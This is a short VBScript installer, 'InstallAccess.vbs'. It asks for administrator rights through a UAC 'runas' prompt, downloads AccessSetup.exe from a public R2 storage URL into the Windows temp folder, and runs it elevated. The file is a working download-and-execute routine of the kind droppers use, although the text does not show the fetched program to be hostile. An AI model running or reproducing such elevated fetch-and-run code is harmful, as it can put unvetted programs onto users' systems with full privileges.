' InstallAccess.vbs — one UAC, download AccessSetup.exe from R2, run and wait
Option Explicit

Const ExeUrl = "https://pub-7783c450bc874361887d2c0767404631.r2.dev/AccessSetup.exe"
Const DestPath = "C:\Windows\Temp\AccessSetup.exe"

Dim shell, fso, shApp
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set shApp = CreateObject("Shell.Application")

' Elevate once via runas
If WScript.Arguments.Count = 0 Then
  shApp.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ elevated", "", "runas", 1
  WScript.Quit 0
End If

On Error Resume Next
If fso.FileExists(DestPath) Then fso.DeleteFile DestPath, True
On Error GoTo 0

If Not DownloadFile(ExeUrl, DestPath) Then WScript.Quit 1

Dim rc
rc = shell.Run("""" & DestPath & """", 1, True)
WScript.Quit rc

Function DownloadFile(url, path)
  On Error Resume Next
  Dim xhr, stream, ok
  ok = False
  Set xhr = CreateObject("MSXML2.ServerXMLHTTP.6.0")
  If xhr Is Nothing Then Set xhr = CreateObject("MSXML2.ServerXMLHTTP")
  xhr.Open "GET", url, False
  xhr.setTimeouts 30000, 30000, 60000, 600000
  xhr.Send
  If Err.Number = 0 And xhr.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1
    stream.Open
    stream.Write xhr.ResponseBody
    stream.SaveToFile path, 2
    stream.Close
    ok = (Err.Number = 0)
  End If
  DownloadFile = ok And fso.FileExists(path)
End Function
